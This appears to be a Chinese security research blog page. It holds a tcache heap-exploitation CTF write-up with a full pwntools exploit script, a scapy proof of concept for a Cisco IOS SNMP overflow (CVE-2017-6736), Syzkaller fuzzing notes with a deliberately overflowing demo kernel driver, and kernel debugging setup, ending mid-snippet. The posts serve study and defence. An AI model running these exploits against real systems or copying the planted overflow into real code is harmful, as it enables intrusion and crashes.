BruceFan's Blog

Stay hungry, stay foolish

0%

Tcache介绍

tcache是libc2.26之后引入的一种新机制,与fastbin类似,是一个LIFO的单链表,每条链上最多有7个chunk,free的时候先放入tcache,tcache满了再放入fastbin,unsorted bin,libc2.29之前不会检查double free。malloc的时候先去tcache找,其相关结构体如下:

1
2
3
4
5
6
7
8
9
10
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

tcache_perthread_struct结构体是用来管理tcache链表的。TCACHE_MAX_BINS值是64,表示有64个链表,counts中一个元素表示对应链表中有多少个chunk,entries中的元素就是tcache链表。tcachebin和fastbin都是通过chunk的fd字段来作为链表的指针,tcachebin中的链表指针指向的下一个chunk的fd字段,fastbin中的链表指针指向的是下一个chunk的prev_size字段

Tcache利用

Tcache的利用主要分为以下几种:

  • tcache poisoning
    简单来说就是覆盖tcache_entry结构体中的next域,不经过任何伪造chunk即可分配到另外地址
  • tcache dup
    类似于fastbin的double free,就是多次释放同一个tcache,形成环状链表
  • tcache perthread corruption
    控制tcache_perthread_struct结构体
  • tcache house of spirit
    free内存后,使得栈上的一块地址进入tcache链表,这样再次分配的时候就能把这块地址分配出来

LCTF2018 PWN easy_heap

这是一道note类型的题目,有mymalloc、myfree、myputs功能,最多分配10个chunk,mymalloc中的read_content子函数中有一个off-by-one漏洞,NULL单字节溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 __fastcall read_content(_BYTE *buf, int len)
{
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 canary; // [rsp+18h] [rbp-8h]

canary = __readfsqword(0x28u);
i = 0;
if ( len )
{
while ( 1 )
{
read(0, &buf[i], 1uLL);
if ( len - 1 < i || !buf[i] || buf[i] == 10 )
break;
++i;
}
buf[i] = 0;
buf[len] = 0; // one null byte overflow
}
else
{
*buf = 0;
}
return __readfsqword(0x28u) ^ canary;
}

利用思路:先free填充满tcache,再free三个chunk,会进入unsorted bin,并存在合并操作,最后free的chunk的prev_size为0x200,可以用于后续的overlapping。(前三个for循环)不能直接用malloc构造下一个堆块的prev_size,因为0x200转为字节’\x00\x02\x00\x00\x00\x00\x00\x00’会被’\x00’截断。前三个for循环之后bins的结构是这样的:
tcachebin:满
unsortbin:A

1
2
3
4
5
6
7
+-----+ 低地址
| A |
+-----+
| B |
+-----+
| C |
+-----+ 高地址

A的fd和bk都指向main_arena+96,C的prev_size为0x200,第四个for循环,先分配了tcache里的chunk,再分配A、B、C,第五个for循环先向tcache填充了6个chunk,接着将B填入tcache,A填入unsortbin,分配B并单字节溢出C的prev_inuse位,将tcache填满,再free C到unsortbin发生overlapping,这样B既在分配列表中,也在unsortbin中。bins结构是这样的:
tcachebin:满
unsortbin:A

1
2
3
4
5
6
7
+-----+ 低地址
| A |
+-----+
| B |
+-----+
| C |
+-----+ 高地址

再次分配8个chunk,先将tcache中的分配完,再分配一个A,bins结构是这样的:
tcachebin:空
unsortbin:B

1
2
3
4
5
+-----+ 低地址
| B |
+-----+
| C |
+-----+ 高地址

此时B的fd和bk指向main_arena+96,而且B在分配列表中,打印B的值即可泄露main_arena+96的值,main_arena在libc中的偏移存放在libc文件的malloc_trim()函数中:

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall malloc_trim(__int64 a1)
{
...
v23 = a1;
if ( dword_3EB264 < 0 )
sub_913E0();
v24 = 0;
_R13 = &dword_3EBC40; // main_arena offset
...
}

到这就可以计算出libc的偏移,将B分配出来,在分配列表中就有两个B,可以进行tcache dup,再分配B将其fd改为__free_hook的got地址,再分配B,其fd就在tcache中了,也就是__free_hook的got地址在tcache中了,将其分配出来并在其中填入one_gadget,最后调用free就可以触发one_gadget了。
完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

context.log_level = "debug"

p = process('./easy_heap')

def malloc(size,content):
p.recvuntil("> ")
p.sendline('1')
p.recvuntil("> ")
p.sendline(str(size))
p.recvuntil("> ")
p.sendline(content)

def free(index):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("> ")
p.sendline(str(index))

def puts(index):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline(str(index))

for x in range(10):
malloc(0x20,"")

for x in range(3,10):
free(x)

for x in range(3):
free(x)

for x in range(10):
malloc(0x20,"")

for x in range(6):
free(x)

free(8) # tcache
free(7) # unsort bin

malloc(248,'')

free(6) # tcache
free(9) # overlapping

for x in range(8):
malloc(0x20,'')

puts(0)

#libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3EBC40
main_arena = p.recv(6)+b'\x00\x00'
libc_base = u64(main_arena) - 96 - 0x3EBC40
free_hook = libc_base + 0x3ed8e8
print(hex(libc_base))
one_shot = libc_base + 0x4f322

malloc(0x20,'')

gdb.attach(p)

free(5) # free to avoid full

free(0)
free(9)
malloc(0x20, p64(free_hook))
malloc(0x20, '')
malloc(0x20, p64(one_shot))
free(5)

p.interactive()

双机本地环境

环境:
台式机Ubuntu
笔记本Mac
模拟器GNS3
IOS镜像c7200-adventerprisek9-mz.151-4.M2.bin(mips 32bit big-endian)
台式机(192.168.1.3)和笔记本(192.168.1.8)在同一局域网中

实验采用台式机上GNS3本地模拟的方法:
1.先加载路由器镜像,创建路由器连接Cloud的拓扑结构,Configure Cloud的以太网接口为台式机的物理网卡,连接路由器的fa0/0接口到Cloud的以太网接口,启动路由器。
2.打开路由器的Console,配置fa0/0的ip为dhcp

1
2
3
4
5
6
R1#conf t
R1(config)#int fa0/0
R1(config-if)#ip address dhcp
R1(config-if)#no shutdown
R1(config-if)#end
R1#

dhcp会自动为路由器分配一个局域网ip地址

1
2
3
4
R1#show ip int brief
Interface IP-Address OK? Method Status Protocol
FastEthernet0/0 192.168.1.11 Yes DHCP up up
...

配置DNS服务器

1
2
3
4
5
R1#conf t
R1(config)#ip domain-lookup
R1(config)#ip name-server 8.8.8.8
R1(config)#end
R1#

配置完DNS就可以ping通外网了,下面启动路由器的snmp服务

1
2
3
4
5
6
7
Router#conf t
Router(config)#snmp-server community public RO
Router(config)#exit
Router#write memory
Building configuration...
[OK]
Router#

3.配置完路由器可以从笔记本ping通路由器,但是主机本身ping不通路由器,因此在笔记本上运行poc向路由器直接发送SNMP数据包

1
$ sudo python test-poc.py 192.168.1.11

发送数据包之后,路由器的console没有反应了,笔记本也ping不通路由器了,因此判断路由器已经崩溃。poc脚本如下:

1
2
3
4
5
6
7
8
9
10
from scapy.all import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("host", type=str, help="host IP")
args = parser.parse_args()

alps_oid = '1.3.6.1.4.1.9.9.95.1.3.1.1.7.48.1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.44.128.0.240.164.49' # return address set to be 0x8000f0a4

send(IP(dst=args.host)/UDP(sport=161,dport=161)/SNMP(community='public',PDU=SNMPget(varbindlist=[SNMPvarbind(oid=alps_oid)])))

这个数据包由三部分组成,前14个字节为OID=’1.3.6.1.4.1.9.9.95.1.3.1.1.7’,这个OID代表alpsCktBaseNumActiveAscus,只读权限,可以返回当前配置状态下可连接ALPS电路的ASCU数量。OID后面的48表示后面数据的字节数减1。经过测试,45-46的位置是覆盖的返回地址。

单机虚拟机环境

环境:
Mac笔记本
VMware
GNS3 VM

实验采用虚拟机中模拟思科路由器,主机发送数据包给模拟路由器的方式:
1.虚拟机中也是采用dynamips对思科路由器进行模拟,因此可以省略GNS3的图形界面,直接操作虚拟机里的dynamips

1
$ sudo ./dynamips -T 2000 -P 7200 -X -p 0:C7200-IO-FE -p 1:PA-4T+ -s slot:f0/0:gen_eth:eth0 c7200-adventerprisek9-mz.151-4.M2.bin --idle-pc=0x60608040
  • -T 是路由器的console端口,可以从主机上telnet虚拟机地址加这个端口到路由器console
  • -P 是硬件平台
  • -X 是不使用文件模拟RAM(更快)
  • -p 是定一个Port Adapter,和图形界面里的slot设置等价
  • -s 是绑定一个网络IO接口到Port Adapter,把路由器的以太网接口连接到虚拟机网卡上
  • 最后是镜像,第一次启动时会设置路由器,设置IP时,地址为虚拟机IP所在的子网段。

2.启动完成后可以从主机和虚拟机telnet 虚拟机IP 2000,连接到路由器console。可以从主机ping 路由器IP,所以可以从主机运行poc发送SNMP数据包给路由器。

单机虚拟机环境调试思科IOS

环境和前一节相同。
1.下载编译添加了gdbserver的dynamips版本

1
2
3
4
$ sudo apt install libelf-dev libpcap0.8-dev uuid-dev
$ git clone https://github.com/fanrong1992/dynamips-gdbserver.git
$ cd dynamips-gdbserver
$ DYNAMIPS_ARCH=amd64 make

编译产生的dynamips比原版dynamips多了一个-Z选项,启动时设置这个选项可以远程IDA或gdb连接调试端口。
2.修改版的dynamips用的镜像文件是解压缩的,把前面用到的c7200-adventerprisek9-mz.151-4.M2.bin后缀改为.zip,unzip解压可以得到一个C7200-AD.BIN文件,用dynamips加载到调试端口

1
$ sudo ./dynamips -Z 1234 -P 7200 -T 4000 -j -s slot:f0/0:gen_eth:eth0 C7200-AD.BIN

3.用IDA或gdb连接虚拟机IP+1234调试端口即可远程调试,gdb不能使用Ubuntu自带的,需要自己下载gdb,重新编一个用于mips的版本

1
2
3
4
5
$ wget https://ftp.gnu.org/gnu/gdb/gdb-8.1.tar.gz
$ tar zxvf gdb-8.1.tar.gz
$ cd gdb-8.1
$ ./configure --target=mips
$ make

编译出的gdb可以远程连接到mips平台的调试接口

1
2
$ ./gdb -q
(gdb) target remote IP:Port

根据漏洞描述可知,该漏洞是一个缓冲区溢出漏洞,想要找到溢出点有几种思路
1.写45个字节覆盖返回地址高两字节,使程序崩溃,查看返回地址低两字节。写IDAPython脚本,从程序中找出所有低两字节与崩溃地址低两字节相同的指令,如果指令的前两条指令是jal,则有可能是崩溃点的上层函数,在所有满足条件的jal指令处下断点,运行poc看看能否断住。实验中崩溃地址是0x8000f568,IDAPython脚本这样写:

1
2
3
4
5
6
7
8
9
10
import idc
fd=open('/Users/fan/breaks.gdb', 'w')
for i in range(0x48d):
ea = 0x8000f560+0x10000*i
if 'jal' in idc.GetDisasm(ea):
fd.write('break *'+hex(ea)+'\n')
if 'jal' in idc.GetDisasm(ea+4):
fd.write('break *'+hex(ea+4)+'\n')

fd.close()

因为程序的代码段是从0x80008000到0x848da684所以循环是从0x8000f560到0x848df560,找到jal指令直接写到gdb脚本里,方便下断点。经过实验发现这些断点在运行poc之后都断不住。
2.程序崩溃的时候在栈上找上层函数的返回地址,找了好几个,发现他们的栈帧操作和实际崩溃栈中的结构不符,也没有找到。
3.最后是通过修改虚拟机,在函数调用时将返回地址存入自定义的一个栈结构中,在函数返回时判断返回地址与自定义栈栈顶的值是否相同,如果相同则弹出栈顶数据跳转到返回地址,不相同说明有栈溢出发生,打印栈上的值即为原来的返回地址。
打印结果为0x80fbf568,因此栈帧被破坏的函数为0x80fbf110,在这个函数下断点,运行poc可以看到在子函数0x80fb85e8调用后栈帧就被破坏了。被破坏栈帧的函数的上层函数开辟了0x256大小的栈帧,因此从栈上找需要找很多,有一个想法就是写一个脚本,把所有有可能为返回地址的值取出,挑选出其中前两条指令为jal的指令,jal的函数即为上层函数,查看它开辟的栈帧大小和它距离崩溃栈顶的距离是否符合,找出符合的下断点调试。

reference
https://www.anquanke.com/post/id/98225
https://github.com/artkond/cisco-snmp-rce
https://github.com/Groundworkstech/dynamips-gdb-mod
https://www.cvedetails.com/cve/CVE-2017-6736/

Syzkaller官网上有关于如何对Android Kernel进行fuzz的方法,但是按照上面的步骤有很多不清楚的地方。
我的环境如下:
Android设备:Pixel
Android系统:Anroid9.0.0_r33

编译Android版Syzkaller

官网上是这么操作的:
以防你有旧的Android /dev/ion 驱动:

1
2
3
4
5
$ cp sys/android/* sys/linux
$ make generate
...
Makefile:196: recipe for target 'generate_sys' failed
make: *** [generate_sys] Error 1

会报错,现在还没找到解决方法。
编译arm64版syzkaller:

1
$ make TARGETOS=linux TARGETARCH=arm64

坑1:缺少交叉编译环境
aarch64-linux-gnu-gcc: Command not found
解决:

1
2
sudo apt install gcc-aarch64-linux-gnu
sudo apt install g++-aarch64-linux-gnu

编译Pixel Kernel with KASAN+KCOV

官网的操作方法:
首先需要下载编译AOSP,我下载编译的是Android9.0.0_r33,支持Pixel XL和Pixel。然后下载kernel:

1
2
3
$ git clone https://android.googlesource.com/kernel/msm
$ cd msm
$ git checkout TAG_NAME

官网上查到pixel(sailfish)对应的repo branch是android-msm-marlin-3.18-pie-qpr2,所以执行:

1
$ git checkout android-msm-marlin-3.18-pie-qpr2

执行完之后目录中就会有内容了。
编译过程如下:
1.设置交叉编译环境

1

按照官网介绍的方法对内核进行插桩之后,需要重新编译boot.img:

1
2
$ export TARGET_PREBUILT_KERNEL=/path/to/msm/arch/arm64/boot/Image.lz4-dtb
$ rm out/target/product/sailfish/boot.img && make bootimage

编译完的内核太大,make bootimage时会报错:

1
error:+out/target/product/sailfish/boot.img too large (*** > 335544432)

修改device/google/marlin/sailfish/BoardConfig.mk里的BOARD_BOOTIMAGE_PARTITION_SIZE。之后可以编译出boot.img,用如下命令刷入手机:

1
$ fastboot flash boot boot.img

但是刷到手机上时也会报boot.img太大的错误。在编译之前去掉.config文件里的SLUB_DEBUG选项,编译之后可以刷到手机上,但是手机会不断重启,目前还没有找到解决方法。
new
官网的KASAN+KCOV编译方法过时了,看官网编译Kernel的方法,新版内核都自带编译工具,使用./build/build.sh一键编译,查看根目录的build.config(symbolic link to private/msm-google/build.config):

1
2
3
4
5
KERNEL_DIR=private/msm-google
. ${ROOT_DIR}/${KERNEL_DIR}/build.config.common
POST_DEFCONFIG_CMDS="check_defconfig && compression_tool_and_files lz4"
EXTRA_CMDS='python build/buildinfo/buildinfo.py'
STOP_SHIP_TRACEPRINTK=1

这个是Kernel的配置文件,包含了private/msm-google/build.config.common配置文件,并执行了check_defconfig和compression_tool_and_files两个函数,其中compress函数是build.config.common里定义的。
发现private/msm-google/目录下还有一个build.config.kasan配置文件,里面包含了build.config.common文件,还enable了Kernel的插桩选项,于是将根目录的build.config文件里的build.config.common替换为build.config.kasan:

1
2
3
4
5
6
KERNEL_DIR=private/msm-google
. ${ROOT_DIR}/${KERNEL_DIR}/build.config.kasan
#. ${ROOT_DIR}/${KERNEL_DIR}/build.config.common
#POST_DEFCONFIG_CMDS="check_defconfig && compression_tool_and_files lz4"
#EXTRA_CMDS='python build/buildinfo/buildinfo.py'
STOP_SHIP_TRACEPRINTK=1

因为没有build/buildinfo/buildinfo.py文件,因此把它注释掉了。

运行Syzkaller

接下来就需要编写配置文件,运行Syzkaller了,配置文件adb.cfg如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"target": "linux/arm64",
"http": "localhost:50000",
"workdir": "/home/fanrong/gopath/src/github.com/google/syzkaller/androidir",
"syzkaller": "/home/fanrong/gopath/src/github.com/google/syzkaller",
"sandbox": "none",
"procs": 8,
"cover": false,
"type": "adb",
"vm": {
"devices": ["FA6880300195"],
"battery_check": false
}
}

“cover”: false是指测试目标是未插桩的。
其中的devices是usb连接手机后通过如下命令获取:

1
2
3
4
$ adb devices
List of devices attached
FA6880300195 device

之后常规启动syzkaller:

1
2
3
$ ./bin/syz-manager -config adb.cfg
...
failed to associate adb device FA6880300195 with console: no unassociated console devices left

会报一个没有console的错误,查看源码需要用到/dev/ttyUSB0的设备,然后我在/etc/udev/rules.d/51-android.rules里添加SYMLINK=”ttyUSB0”:

1
SUBSYSTEM=="usb",ATTRS{idVendor}=="18d1",ATTRS{idProduct}=="4ee7",MODE="0666",SYSLINK="ttyUSB0"

启动syzkaller:

1
2
3
$ ./bin/syz-manager -config adb.cfg
...
failed to associate adb device FA6880300195 with console: failed to get console termios: operation not permitted

目前关于console的这个错误还不知道怎么解决。

编译Android10.0.0_r2

1.选择aosp_x86_64-eng版本,因为编译成aosp_arm64-eng的启动不了。
2.emulator启动

1
2
3
emulator: ERROR: x86_64 emulation currently requires hardware acceleration!
Please ensure KVM is properly installed and usable.
CPU acceleration status: This user doesn't have permissions to use KVM (/dev/kvm)

解决方法:
(1)安装kvm

1
2
3
4
$ sudo apt-get install qemu-kvm cpu-checker
$ kvm-ok
INFO: /dev/kvm exists
KVM acceleration can be used

(2)创建kvm用户组并把当前用户加入

1
2
3
4
5
$ sudo addgroup kvm
$ sudo usermod -a -G kvm fanrong
$ sudo chgrp kvm /dev/kvm
$ sudo vim /etc/udev/rules.d/60-qemu-kvm.rules
KERNEL=="kvm", GROUP="kvm", MODE="0660"

(3)重启运行emulator
可以成功启动模拟器,但此时的内核使用的是默认内核:

1
2
$ adb shell uname -r
4.14.112+

编译goldfish内核

接下来下载goldfish内核编译,goldfish是专门供模拟器使用的内核。

1
2
3
4
5
6
7
$ git clone https://android.googlesource.com/kernel/goldfish
$ cd goldfish
$ git branch -a # 查看所有版本
remotes/origin/HEAD -> origin/master
remotes/origin/android-3.18
...
$ git checkout -t origin/android-goldfish-4.14-dev # 切换到所需分支版本

AOSP里有编译工具链,下面开始编译过程:

1
2
3
4
$ export CROSS_COMPILE=x86_64-linux-android-
$ export ARCH=x86_64
$ export PATH=$PATH:/aosp/prebuilts/gcc/linux-x86/x86/x86_64-linux-android-4.9/bin
$ make x86_64_ranchu_defconfig # 网上说模拟器使用的是ranchu这个默认配置,不知道代表的啥意思

这样就能在根目录生成.config文件,但是这个默认的.config文件编译后调试会出问题,需要如下修改:

1
2
3
4
5
6
CONFIG_DEBUG_KERNEL=y
CONFIG_DEBUG_INFO=y
CONFIG_FRAME_POINTER=y
CONFIG_KGDB=y
CONFIG_DEBUG_RODATA=n
CONFIG_RANDOMIZE_BASE=n

一定确保CONFIG_DEBUG_RODATA和CONFIG_RANDOMIZE_BASE不开启,如果开启这两个选项,通过gdb不能设置断点,报如下错误:

1
2
3
4
5
6
7
(gdb) b vfs_write
Breakpoint 1 at 0xffffffff803474d8: file fs/read_write.c, line 524.
(gdb) c
Continuing.
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0xffffffff803474d8

这样配置编译后可以调试,但是调试时没有符号信息,原因是Makefile里的编译选项为-O2,但是修改为-O0会编译不过,解决方法是改成-Og

1
2
3
$ make -j8
$ cd aosp
$ emulator -show-kernel -kernel ../goldfish/arch/x86/boot/bzImage -qemu -s

emulator是基于qemu开发的,-s是qemu参数,等同于-gdb tcp::1234,意思就是通过tcp的1234端口,gdb可以连接到内核中的kgdb。一般连接kgdb都要通过串口来连接,但是qemu通过指定-gdb tcp::1234就可以了。

使用gdb调试内核

gdb使用的是aosp/prebuilts/gdb/linux-x86/bin里的gdb,它是兼容所有体系结构的:

1
2
3
4
5
6
7
8
9
$ aosp/prebuilts/gdb/linux-x86/bin/gdb vmlinux
gdb-peda$ target remote :1234
...
native_safe_halt() at ./arch/x86/include/asm/irqflags.h:58
58 }
gdb-peda$ break sdcardfs_open
Breakpoint 1 at 0xffffffff8046ad25: file fs/sdcardfs/file.c, line 231.
gdb-peda$ c
Continuing.

这里我安装了peda,在sdcardfs_open函数下断点,继续运行,点击相机的照相功能,拍照后会保存到sdcard,会调用sdcardfs_open函数,触发断点,然后就可以单步调试啦。

reference
https://blog.csdn.net/zhangjg_blog/article/details/84291663
https://gist.github.com/yan12125/78a9004acb1bed5faf2ffd442163e2ef
http://pwn4.fun/2016/08/19/Android%E5%86%85%E6%A0%B8%E6%BA%90%E7%A0%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95/
https://lwn.net/Articles/754219/

基于前一篇Syzkaller Fuzz Linux AMD64的文章,这里用一个自己写的驱动(有一个堆溢出)做演示。

在Syzkaller中添加规则

在syzkaller/sys/linux目录编辑proc_operation.txt。
proc_operation.txt

1
2
3
4
5
6
7
8
9
include <linux/fs.h>

open$proc(file ptr[in, string["/proc/test"]], flags flags[proc_open_flags], mode flags[proc_open_mode]) fd
read$proc(fd fd, buf buffer[out], count len[buf])
write$proc(fd fd, buf buffer[in], count len[buf])
close$proc(fd fd)

proc_open_flags = O_RDONLY, O_WRONLY, O_RDWR, O_APPEND, FASYNC, O_CLOEXEC, O_CREAT, O_DIRECT, O_DIRECTORY, O_EXCL, O_LARGEFILE, O_NOATIME, O_NOCTTY, O_NOFOLLOW, O_NONBLOCK, O_PATH, O_SYNC, O_TRUNC, __O_TMPFILE
proc_open_mode = S_IRUSR, S_IWUSR, S_IXUSR, S_IRGRP, S_IWGRP, S_IXGRP, S_IROTH, S_IWOTH, S_IXOTH

syzkaller/sys/linux目录下的sys.txt中有通用的调用形式可以参考。

syzkaller使用它自己的声明式语言来描述系统调用模板,docs目录下的syscall_descriptions.md中可以找到相关的说明。这些系统调用模板被翻译成syzkaller使用的代码需要经过两个步骤。第一步是使用syz-extract从linux源代码中提取符号常量的值,结果被存储在.const文件中,例如/sys/linux/tty.txt被转换为sys/linux/tty_amd64.const。第二步是根据系统调用模板和第一步中生成的const文件使用syz-sysgen生成syzkaller用的go代码。可以在/sys/linux/gen/amd64.go和/executor/syscalls.h中看到结果。最后,重新编译生成带有相应规则的syzkaller二进制可执行文件。

编译生成syz-extract、syz-sysgen

1
2
3
$ cd syzkaller
$ make bin/syz-extract
$ make bin/syz-sysgen

用syz-extract生成.const文件,接着运行syz-sysgen,最后重编译syzkaller

1
2
3
4
$ bin/syz-extract -os linux -arch amd64 -sourcedir /home/fanrong/Computer/kernel/linux-5.1 proc_operation.txt
$ bin/syz-sysgen
$ make clean
$ make all

编译有堆溢出的内核驱动

这里采用将驱动编译进内核的方式,将test.c驱动程序放到linux-5.1/drivers/char目录:
linux-5.1/drivers/char/test.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <linux/init.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>

#define MY_DEV_NAME "test"
#define DEBUG_FLAG "PROC_DEV"

static ssize_t proc_read (struct file *proc_file, char __user *proc_user, size_t n, loff_t *loff);
static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff);
static int proc_open (struct inode *proc_inode, struct file *proc_file);
static struct file_operations a = {
.open = proc_open,
.read = proc_read,
.write = proc_write,
};


static int __init mod_init(void)
{
struct proc_dir_entry *test_entry;
const struct file_operations *proc_fops = &a;
printk(DEBUG_FLAG":proc init start!\n");

test_entry = proc_create(MY_DEV_NAME, S_IRUGO|S_IWUGO, NULL, proc_fops);
if(!test_entry)
printk(DEBUG_FLAG":there is somethings wrong!\n");

printk(DEBUG_FLAG":proc init over!\n");
return 0;
}

static ssize_t proc_read (struct file *proc_file, char __user *proc_user, size_t n, loff_t *loff)
{
printk(DEBUG_FLAG":finish copy_from_use,the string of newbuf is");

return 0;
}

static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff)
{
char *c = kmalloc(512, GFP_KERNEL);

copy_from_user(c, proc_user, 4096);
printk(DEBUG_FLAG":into write!\n");
return 0;
}

int proc_open (struct inode *proc_inode, struct file *proc_file)
{
printk(DEBUG_FLAG":into open!\n");
return 0;
}

module_init(mod_init);

修改该目录下的Kconfig,照着其他条目的样子添加即可:

1
2
3
4
5
config PROC_OP
bool "/proc/test virtual device support"
default y
help
This is a Syzkaller test case device driver.

修改该目录下的Makefile,也是参照其他条目即可:

1
obj-$(CONFIG_PROC_OP) += test.o

在Linux内核根目录执行make menuconfig会出现.config文件的配置界面,在Device Drivers->Character devices选项中可以看到[*] /proc/test virtual device support,即刚才在Kconfig里添加的条目。保存退出,.config会比原来增加一条CONFIG_PROC_OP=y,执行make cleanmake -j8重新编译内核即可将驱动编译进内核。

修改配置文件运行Syzkaller

下面需要修改配置文件,只允许某些调用,速度更快:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"target": "linux/amd64",
"http": "127.0.0.1:56741",
"workdir": "workdir",
"kernel_obj": "/home/fanrong/Computer/kernel/linux-5.1",
"image": "/home/fanrong/Computer/kernel/IMAGE/stretch.img",
"sshkey": "/home/fanrong/Computer/kernel/IMAGE/stretch.id_rsa",
"syzkaller": ".",
"procs": 8,
"type": "qemu",
"enable_syscalls": [
"open$proc",
"read$proc",
"write$proc",
"close$proc"
],
"vm": {
"count": 4,
"kernel": "$KERNEL/arch/x86/boot/bzImage",
"cpu": 2,
"mem": 2048
}
}

最后运行syzkaller:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ bin/syz-manager -config my.cfg -vv 10
2019/10/15 10:02:10 loading corpus...
2019/10/15 10:02:10 serving http on http://127.0.0.1:56741
2019/10/15 10:02:10 serving rpc on tcp://[::]:33307
2019/10/15 10:02:10 booting test machines...
2019/10/15 10:02:10 wait for the connection from test machine...
2019/10/15 10:02:10 loop: phase=0 shutdown=false instances=4/4 [3 2 1 0] repro: pending=0 reproducing=0 queued=0
2019/10/15 10:02:10 loop: starting instance 0
2019/10/15 10:02:10 loop: starting instance 1
2019/10/15 10:02:10 loop: starting instance 2
2019/10/15 10:02:10 loop: starting instance 3
2019/10/15 10:02:23 fuzzer vm-3 connected
2019/10/15 10:02:23 fuzzer vm-1 connected
2019/10/15 10:02:23 fuzzer vm-0 connected
2019/10/15 10:02:23 fuzzer vm-2 connected
2019/10/15 10:02:23 machine check:
2019/10/15 10:02:23 syscalls : 4/2765
2019/10/15 10:02:23 code coverage : enabled
2019/10/15 10:02:23 comparison tracing : CONFIG_KCOV_ENABLE_COMPARISONS is not enabled
2019/10/15 10:02:23 extra coverage : extra coverage is not supported by the kernel
2019/10/15 10:02:23 setuid sandbox : enabled
2019/10/15 10:02:23 namespace sandbox : /proc/self/ns/user does not exist
2019/10/15 10:02:23 Android sandbox : enabled
2019/10/15 10:02:23 fault injection : CONFIG_FAULT_INJECTION is not enabled
2019/10/15 10:02:23 leak checking : CONFIG_DEBUG_KMEMLEAK is not enabled
2019/10/15 10:02:23 net packet injection : /dev/net/tun does not exist
2019/10/15 10:02:23 net device setup : enabled
2019/10/15 10:02:23 corpus : 67 (0 deleted)
...

crash报告如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
BUG: KASAN: slab-out-of-bounds in _copy_from_user+0x83/0xd0 lib/usercopy.c:12
Write of size 4096 at addr ffff88806bce3b80 by task syz-executor680/1974

CPU: 1 PID: 1974 Comm: syz-executor680 Not tainted 5.1.5 #2
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
Call Trace:
__dump_stack lib/dump_stack.c:77 [inline]
dump_stack+0x75/0xae lib/dump_stack.c:113
print_address_description+0x65/0x270 mm/kasan/report.c:187
kasan_report+0x149/0x18d mm/kasan/report.c:317
_copy_from_user+0x83/0xd0 lib/usercopy.c:12
copy_from_user include/linux/uaccess.h:144 [inline]
proc_write+0x4d/0x70 drivers/char/test.c:45
proc_reg_write+0x1a7/0x250 fs/proc/inode.c:241
__vfs_write+0x7c/0x100 fs/read_write.c:485
vfs_write+0x168/0x4a0 fs/read_write.c:549
ksys_write+0xfc/0x230 fs/read_write.c:599
do_syscall_64+0x9a/0x2d0 arch/x86/entry/common.c:293
entry_SYSCALL_64_after_hwframe+0x44/0xa9

syzkaller在发现crash之后还会尝试产生poc,下面是针对这个bug产生的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

uint64_t r[1] = {0xffffffffffffffff};

int main(void)
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
intptr_t res = 0;
memcpy((void*)0x20000200, "/proc/test\000", 11);
res = syscall(__NR_open, 0x20000200, 1, 0x78ae05816e61a376);
if (res != -1)
r[0] = res;
syscall(__NR_write, r[0], 0, 0);
return 0;
}

reference
https://www.jianshu.com/p/790b733f80a2
https://github.com/hardenedlinux/Debian-GNU-Linux-Profiles/blob/master/docs/harbian_qa/fuzz_testing/syzkaller_crash_demo.md

替换同名函数

使用gcc选项no-builtin,默认不使用系统的优化函数,而使用自定义的函数。
case for study

1
2
3
4
5
6
7
8
9
// printf.c
#include <unistd.h>
#include <string.h>

int printf(const char* format, ...) {
write(STDOUT_FILENO, "my printf\n", 10);
write(STDOUT_FILENO, format, strlen(format));
return 0;
}
1
2
3
4
5
6
7
// main.c
#include <stdio.h>

int main() {
printf("hello\n");
return 0;
}
1
2
3
4
5
6
7
8
$ gcc -c printf.c 
$ gcc main.c printf.o -fno-builtin
$ ./a.out
my printf
hello
$ gcc main.c printf.o
$ ./a.out
hello

对于像signal这样的未给予优化的函数(毕竟仅仅是系统调用的包装),直接静态链接即可。

1
2
3
4
5
6
7
8
9
10
// signal.c
#include <stdio.h>
#include <signal.h> // 假设signal函数的定义调用了sigaction等函数

typedef void Sigfunc(int);

Sigfunc* signal(int signo, Sigfunc* func) {
printf("%d\n", signo);
return func;
}
1
2
3
4
5
6
